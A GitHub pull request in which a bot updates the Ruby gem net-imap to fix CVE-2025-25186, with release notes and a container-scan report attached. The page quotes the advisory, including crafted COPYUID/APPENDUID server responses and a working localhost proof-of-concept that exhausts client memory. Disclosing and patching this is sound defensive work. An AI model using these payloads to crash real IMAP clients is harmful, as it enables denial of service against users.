Update dependency net-imap to v0.5.6 [SECURITY] #205

renovate · 2025-02-10T21:47:42Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
net-imap (changelog)	`0.5.5` -> `0.5.6`

GitHub Vulnerability Alerts

CVE-2025-25186

Summary

There is a possibility for denial of service by memory exhaustion in net-imap's response parser. At any time while the client is connected, a malicious server can send can send highly compressed uid-set data which is automatically read by the client's receiver thread. The response parser uses Range#to_a to convert the uid-set data into arrays of integers, with no limitation on the expanded size of the ranges.

Details

IMAP's uid-set and sequence-set formats can compress ranges of numbers, for example: "1,2,3,4,5" and "1:5" both represent the same set. When Net::IMAP::ResponseParser receives APPENDUID or COPYUID response codes, it expands each uid-set into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted APPENDUID or COPYUID responses with very large uid-set ranges.

The Net::IMAP client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the APPENDUID or COPYUID responses.

Malicious inputs:

# 40 bytes expands to ~1.6GB:
"* OK [COPYUID 1 1:99999999 1:99999999]\r\n"

# Worst *valid* input scenario (using uint32 max),

# 44 bytes expands to 64GiB:
"* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"

# Numbers must be non-zero uint32, but this isn't validated.  Arrays larger than

# UINT32_MAX can be created.  For example, the following would theoretically
# expand to almost 800 exabytes:
"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n"

Simple way to test this:

require "net/imap"

def test(size)
  input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\r\n"
  parser = Net::IMAP::ResponseParser.new
  parser.parse input
end

test(99_999_999)

Fixes

Preferred Fix, minor API changes

Upgrade to v0.4.19, v0.5.6, or higher, and configure:

# globally
Net::IMAP.config.parser_use_deprecated_uidplus_data = false

# per-client
imap = Net::IMAP.new(hostname, ssl: true,
                               parser_use_deprecated_uidplus_data: false)
imap.config.parser_use_deprecated_uidplus_data = false

This replaces UIDPlusData with AppendUIDData and CopyUIDData. These classes store their UIDs as Net::IMAP::SequenceSet objects (not expanded into arrays of integers). Code that does not handle APPENDUID or COPYUID responses will not notice any difference. Code that does handle these responses may need to be updated. See the documentation for UIDPlusData, AppendUIDData and CopyUIDData.

For v0.3.8, this option is not available.
For v0.4.19, the default value is true.
For v0.5.6, the default value is :up_to_max_size.
For v0.6.0, the only allowed value will be false (UIDPlusData will be removed from v0.6).

Mitigation, backward compatible API

Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.

For backward compatibility, uid-set can still be expanded into an array, but a maximum limit will be applied.

Assign config.parser_max_deprecated_uidplus_data_size to set the maximum UIDPlusData UID set size.
When config.parser_use_deprecated_uidplus_data == true, larger sets will raise Net::IMAP::ResponseParseError.
When config.parser_use_deprecated_uidplus_data == :up_to_max_size, larger sets will use AppendUIDData or CopyUIDData.

For v0.3,8, this limit is hard-coded to 10,000, and larger sets will always raise Net::IMAP::ResponseParseError.
For v0.4.19, the limit defaults to 1000.
For v0.5.6, the limit defaults to 100.
For v0.6.0, the limit will be ignored (UIDPlusData will be removed from v0.6).

Please Note: unhandled responses

If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, net-imap has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. This is not significantly different from connecting to a trusted server with a long-lived connection. To limit the maximum number of retained responses, a simple handler might look something like the following:

limit = 1000
imap.add_response_handler do |resp|
  next unless resp.respond_to?(:name) && resp.respond_to?(:data)
  name = resp.name
  code = resp.data.code&.name if resp.data.respond_to?(:code)
  if Net::IMAP::VERSION > "0.4.0"
    imap.responses(name) { _1.slice!(0...-limit) }
    imap.responses(code) { _1.slice!(0...-limit) }
  else
    imap.responses(name).slice!(0...-limit)
    imap.responses(code).slice!(0...-limit)
  end
end

Proof of concept

Save the following to a ruby file (e.g: poc.rb) and make it executable:

#!/usr/bin/env ruby
require 'socket'
require 'net/imap'

if !defined?(Net::IMAP.config)
  puts "Net::IMAP.config is not available"
elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)
  puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available"
else
  Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size
  puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size"
end

size = Integer(ENV["UID_SET_SIZE"] || 2**32-1)

def server_addr
  Addrinfo.tcp("localhost", 0).ip_address
end

def create_tcp_server
  TCPServer.new(server_addr, 0)
end

def start_server
  th = Thread.new do
    yield
  end
  sleep 0.1 until th.stop?
end

def copyuid_response(tag: "*", size: 2**32-1, text: "too large?")
  "#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n"
end

def appenduid_response(tag: "*", size: 2**32-1, text: "too large?")
  "#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n"
end

server = create_tcp_server
port = server.addr[1]
puts "Server started on port #{port}"

# server
start_server do
  sock = server.accept
  begin
    sock.print "* OK test server\r\n"
    cmd = sock.gets("\r\n", chomp: true)
    tag = cmd.match(/\A(\w+) /)[1]
    puts "Received: #{cmd}"

    malicious_response = appenduid_response(size:)
    puts "Sending: #{malicious_response.chomp}"
    sock.print malicious_response

    malicious_response = copyuid_response(size:)
    puts "Sending: #{malicious_response.chomp}"
    sock.print malicious_response
    sock.print "* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\r\n"
    sock.print "#{tag} OK CAPABILITY completed\r\n"

    cmd = sock.gets("\r\n", chomp: true)
    tag = cmd.match(/\A(\w+) /)[1]
    puts "Received: #{cmd}"
    sock.print "* BYE If you made it this far, you passed the test!\r\n"
    sock.print "#{tag} OK LOGOUT completed\r\n"
  rescue Exception => ex
    puts "Error in server: #{ex.message} (#{ex.class})"
  ensure
    sock.close
    server.close
  end
end

# client
begin
  puts "Client connecting,.."
  imap = Net::IMAP.new(server_addr, port: port)
  puts "Received capabilities: #{imap.capability}"
  pp responses: imap.responses
  imap.logout
rescue Exception => ex
  puts "Error in client: #{ex.message} (#{ex.class})"
  puts ex.full_message
ensure
  imap.disconnect if imap
end

Use ulimit to limit the process's virtual memory. The following example limits virtual memory to 1GB:

$ ( ulimit -v 1000000 && exec ./poc.rb )
Server started on port 34291
Client connecting,..
Received: RUBY0001 CAPABILITY
Sending: * OK [APPENDUID 1 1:4294967295] too large?
Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?
Error in server: Connection reset by peer @&#8203; io_fillbuf - fd:9  (Errno::ECONNRESET)
Error in client: failed to allocate memory (NoMemoryError)
/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)
        from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command'
        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability'
        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability'
        from /workspace/poc.rb:70:in '<main>'

Release Notes

ruby/net-imap (net-imap)

`v0.5.6`

Compare Source

What's Changed

🔒 Security Fix

Fixes CVE-2025-25186 (GHSA-7fc5-f82f-cx69): A malicious server can exhaust client memory by sending APPENDUID or COPYUID responses with very large uid-set ranges. Net::IMAP::UIDPlusData expands these ranges into arrays of integers.

Fix with minor API changes

Set config.parser_use_deprecated_uidplus_data to false to replace UIDPlusData with AppendUIDData and CopyUIDData. These classes store their UIDs as Net::IMAP::SequenceSet objects (not expanded into arrays of integers). Code that does not handle APPENDUID or COPYUID responses should not see any difference. Code that does handle these responses may need to be updated.

For v0.3.8, this option is not available
For v0.4.19, the default value is true.
For v0.5.6, the default value is :up_to_max_size.
For v0.6.0, the only allowed value will be false (UIDPlusData will be removed from v0.6).

Mitigate with backward compatible API

Adjust config.parser_max_deprecated_uidplus_data_size to limit the maximum UIDPlusData UID set size.
When config.parser_use_deprecated_uidplus_data == true, larger sets will crash.
When config.parser_use_deprecated_uidplus_data == :up_to_max_size, larger sets will use AppendUIDData or CopyUIDData.

For v0.3,8, this limit is hard-coded to 10,000.
For v0.4.19, this limit defaults to 1000.
For v0.5.6, this limit defaults to 100.
For v0.6.0, the only allowed value will be 0 (UIDPlusData will be removed from v0.6).

Please Note: unhandled responses

If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, net-imap has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. This is not significantly different from connecting to a trusted server with a long-lived connection. To limit the maximum number of retained responses, a simple handler might look something like the following:

limit = 1000
imap.add_response_handler do |resp|
  next unless resp.respond_to?(:name) && resp.respond_to?(:data)
  name = resp.name
  code = resp.data.code&.name if resp.data.is_a?(Net::IMAP::ResponseText)
  imap.responses(name) { _1.slice!(0...-limit) }
  imap.responses(code) { _1.slice!(0...-limit) }
end

Added

🔧 Ensure ResponseParser config is mutable and non-global by @nevans in https://github.com/ruby/net-imap/pull/381
✨ Add SequenceSet methods for querying about duplicates by @nevans in https://github.com/ruby/net-imap/pull/384
✨ Add SequenceSet#each_ordered_number by @nevans in https://github.com/ruby/net-imap/pull/386
✨ Add SequenceSet#find_ordered_index by @nevans in https://github.com/ruby/net-imap/pull/396
✨ Add SequenceSet#ordered_at by @nevans in https://github.com/ruby/net-imap/pull/397
✨ Add AppendUIDData and CopyUIDData classes by @nevans in https://github.com/ruby/net-imap/pull/400
🔧 Add parser config for APPENDUID/COPYUID, 🗑️ Deprecate UIDPlusData by @nevans in https://github.com/ruby/net-imap/pull/401

Fixed

🐛 Fix SequenceSet#append when its @string is nil by @nevans in https://github.com/ruby/net-imap/pull/376
🐛 Fix SequenceSet merging in another SequenceSet by @nevans in https://github.com/ruby/net-imap/pull/377
🐛 Fix SequenceSet count dups with multiple "*" by @nevans in https://github.com/ruby/net-imap/pull/387
🥅 Re-raise #starttls error from receiver thread by @nevans in https://github.com/ruby/net-imap/pull/395

Documentation

📚 Fix SequenceSet#cover? documentation by @nevans in https://github.com/ruby/net-imap/pull/379
📚 Document COPYUID in tagged vs untagged responses by @nevans in https://github.com/ruby/net-imap/pull/398

Other Changes

🚚 Move UIDPlusData to its own file by @nevans in https://github.com/ruby/net-imap/pull/391
♻️ Parse uid-set as sequence-set without * by @nevans in https://github.com/ruby/net-imap/pull/393

Miscellaneous

⬆️ Bump step-security/harden-runner from 2.10.2 to 2.10.3 by @dependabot in https://github.com/ruby/net-imap/pull/375
⬆️ Bump step-security/harden-runner from 2.10.3 to 2.10.4 by @dependabot in https://github.com/ruby/net-imap/pull/380
✅ Improve test coverage for SequenceSet enums by @nevans in https://github.com/ruby/net-imap/pull/383
♻️✅ Refactor SequenceSet enumerator tests by @nevans in https://github.com/ruby/net-imap/pull/385
➕ Add "irb" to Gemfile to silence warning by @nevans in https://github.com/ruby/net-imap/pull/388
Omit flaky test with macOS platform by @hsbt in https://github.com/ruby/net-imap/pull/389
✅ Improve UIDPlusData test coverage by @nevans in https://github.com/ruby/net-imap/pull/392
🚚 Rename UIDPLUS test file for consistency by @nevans in https://github.com/ruby/net-imap/pull/399

Full Changelog: ruby/net-imap@v0.5.5...v0.5.6

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

github-actions · 2025-02-10T21:51:28Z

Container Scanning Status: ❌ Failure


ghcr.io/pulibrary/abid:pr-205 (debian 12.9)
===========================================
Total: 18 (HIGH: 18, CRITICAL: 0)

┌────────────────┬────────────────┬──────────┬────────┬───────────────────┬───────────────┬──────────────────────────────────────────────────────────────┐
│    Library     │ Vulnerability  │ Severity │ Status │ Installed Version │ Fixed Version │                            Title                             │
├────────────────┼────────────────┼──────────┼────────┼───────────────────┼───────────────┼──────────────────────────────────────────────────────────────┤
│ linux-libc-dev │ CVE-2024-36899 │ HIGH     │ fixed  │ 6.1.124-1         │ 6.1.128-1     │ kernel: gpiolib: cdev: Fix use after free in                 │
│                │                │          │        │                   │               │ lineinfo_changed_notify                                      │
│                │                │          │        │                   │               │ https://avd.aquasec.com/nvd/cve-2024-36899                   │
│                ├────────────────┤          │        │                   │               ├──────────────────────────────────────────────────────────────┤
│                │ CVE-2024-50047 │          │        │                   │               │ kernel: smb: client: fix UAF in async decryption             │
│                │                │          │        │                   │               │ https://avd.aquasec.com/nvd/cve-2024-50047                   │
│                ├────────────────┤          │        │                   │               ├──────────────────────────────────────────────────────────────┤
│                │ CVE-2024-50164 │          │        │                   │               │ kernel: bpf: Fix overloading of MEM_UNINIT's meaning         │
│                │                │          │        │                   │               │ https://avd.aquasec.com/nvd/cve-2024-50164                   │
│                ├────────────────┤          │        │                   │               ├──────────────────────────────────────────────────────────────┤
│                │ CVE-2024-53170 │          │        │                   │               │ kernel: block: fix uaf for flush rq while iterating tags     │
│                │                │          │        │                   │               │ https://avd.aquasec.com/nvd/cve-2024-53170                   │
│                ├────────────────┤          │        │                   │               ├──────────────────────────────────────────────────────────────┤
│                │ CVE-2024-53229 │          │        │                   │               │ kernel: RDMA/rxe: Fix the qp flush warnings in req           │
│                │                │          │        │                   │               │ https://avd.aquasec.com/nvd/cve-2024-53229                   │
│                ├────────────────┤          │        │                   │               ├──────────────────────────────────────────────────────────────┤
│                │ CVE-2024-56551 │          │        │                   │               │ kernel: drm/amdgpu: fix usage slab after free                │
│                │                │          │        │                   │               │ https://avd.aquasec.com/nvd/cve-2024-56551                   │
│                ├────────────────┤          │        │                   │               ├──────────────────────────────────────────────────────────────┤
│                │ CVE-2024-56608 │          │        │                   │               │ kernel: drm/amd/display: Fix out-of-bounds access in         │
│                │                │          │        │                   │               │ 'dcn21_link_encoder_create'                                  │
│                │                │          │        │                   │               │ https://avd.aquasec.com/nvd/cve-2024-56608                   │
│                ├────────────────┤          │        │                   │               ├──────────────────────────────────────────────────────────────┤
│                │ CVE-2024-56631 │          │        │                   │               │ kernel: scsi: sg: Fix slab-use-after-free read in            │
│                │                │          │        │                   │               │ sg_release()                                                 │
│                │                │          │        │                   │               │ https://avd.aquasec.com/nvd/cve-2024-56631                   │
│                ├────────────────┤          │        │                   │               ├──────────────────────────────────────────────────────────────┤
│                │ CVE-2024-56664 │          │        │                   │               │ kernel: bpf, sockmap: Fix race between element replace and   │
│                │                │          │        │                   │               │ close()                                                      │
│                │                │          │        │                   │               │ https://avd.aquasec.com/nvd/cve-2024-56664                   │
│                ├────────────────┤          │        │                   │               ├──────────────────────────────────────────────────────────────┤
│                │ CVE-2024-57887 │          │        │                   │               │ kernel: drm: adv7511: Fix use-after-free in                  │
│                │                │          │        │                   │               │ adv7533_attach_dsi()                                         │
│                │                │          │        │                   │               │ https://avd.aquasec.com/nvd/cve-2024-57887                   │
│                ├────────────────┤          │        │                   │               ├──────────────────────────────────────────────────────────────┤
│                │ CVE-2024-57892 │          │        │                   │               │ kernel: ocfs2: fix slab-use-after-free due to dangling       │
│                │                │          │        │                   │               │ pointer dqi_priv                                             │
│                │                │          │        │                   │               │ https://avd.aquasec.com/nvd/cve-2024-57892                   │
│                ├────────────────┤          │        │                   │               ├──────────────────────────────────────────────────────────────┤
│                │ CVE-2024-57910 │          │        │                   │               │ kernel: iio: light: vcnl4035: fix information leak in        │
│                │                │          │        │                   │               │ triggered buffer                                             │
│                │                │          │        │                   │               │ https://avd.aquasec.com/nvd/cve-2024-57910                   │
│                ├────────────────┤          │        │                   │               ├──────────────────────────────────────────────────────────────┤
│                │ CVE-2024-57911 │          │        │                   │               │ kernel: iio: dummy: iio_simply_dummy_buffer: fix information │
│                │                │          │        │                   │               │ leak in triggered buffer                                     │
│                │                │          │        │                   │               │ https://avd.aquasec.com/nvd/cve-2024-57911                   │
│                ├────────────────┤          │        │                   │               ├──────────────────────────────────────────────────────────────┤
│                │ CVE-2025-21631 │          │        │                   │               │ kernel: block, bfq: fix waker_bfqq UAF after                 │
│                │                │          │        │                   │               │ bfq_split_bfqq()                                             │
│                │                │          │        │                   │               │ https://avd.aquasec.com/nvd/cve-2025-21631                   │
│                ├────────────────┤          │        │                   │               ├──────────────────────────────────────────────────────────────┤
│                │ CVE-2025-21647 │          │        │                   │               │ kernel: sched: sch_cake: add bounds checks to host bulk flow │
│                │                │          │        │                   │               │ fairness counts...                                           │
│                │                │          │        │                   │               │ https://avd.aquasec.com/nvd/cve-2025-21647                   │
│                ├────────────────┤          │        │                   │               ├──────────────────────────────────────────────────────────────┤
│                │ CVE-2025-21648 │          │        │                   │               │ kernel: netfilter: conntrack: clamp maximum hashtable size   │
│                │                │          │        │                   │               │ to INT_MAX                                                   │
│                │                │          │        │                   │               │ https://avd.aquasec.com/nvd/cve-2025-21648                   │
│                ├────────────────┤          │        │                   │               ├──────────────────────────────────────────────────────────────┤
│                │ CVE-2025-21671 │          │        │                   │               │ kernel: zram: fix potential UAF of zram table                │
│                │                │          │        │                   │               │ https://avd.aquasec.com/nvd/cve-2025-21671                   │
│                ├────────────────┤          │        │                   │               ├──────────────────────────────────────────────────────────────┤
│                │ CVE-2025-21680 │          │        │                   │               │ kernel: pktgen: Avoid out-of-bounds access in                │
│                │                │          │        │                   │               │ get_imix_entries                                             │
│                │                │          │        │                   │               │ https://avd.aquasec.com/nvd/cve-2025-21680                   │
└────────────────┴────────────────┴──────────┴────────┴───────────────────┴───────────────┴──────────────────────────────────────────────────────────────┘

Update dependency net-imap to v0.5.6 [SECURITY]

4f8153b

tpendragon approved these changes Feb 12, 2025

View reviewed changes

tpendragon merged commit 3cf7233 into main Feb 12, 2025
6 checks passed

tpendragon deleted the renovate/rubygems-net-imap-vulnerability branch February 12, 2025 18:57

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Update dependency net-imap to v0.5.6 [SECURITY] #205

Update dependency net-imap to v0.5.6 [SECURITY] #205

renovate bot commented Feb 10, 2025 •

edited

Loading

github-actions bot commented Feb 10, 2025

Update dependency net-imap to v0.5.6 [SECURITY] #205

Update dependency net-imap to v0.5.6 [SECURITY] #205

Conversation

renovate bot commented Feb 10, 2025 • edited Loading

GitHub Vulnerability Alerts

CVE-2025-25186

Summary

Details

Fixes

Preferred Fix, minor API changes

Mitigation, backward compatible API

Please Note: unhandled responses

Proof of concept

Release Notes

v0.5.6

What's Changed

🔒 Security Fix

Fix with minor API changes

Mitigate with backward compatible API

Please Note: unhandled responses

Added

Fixed

Documentation

Other Changes

Miscellaneous

Configuration

github-actions bot commented Feb 10, 2025

Container Scanning Status: ❌ Failure

renovate bot commented Feb 10, 2025 •

edited

Loading

`v0.5.6`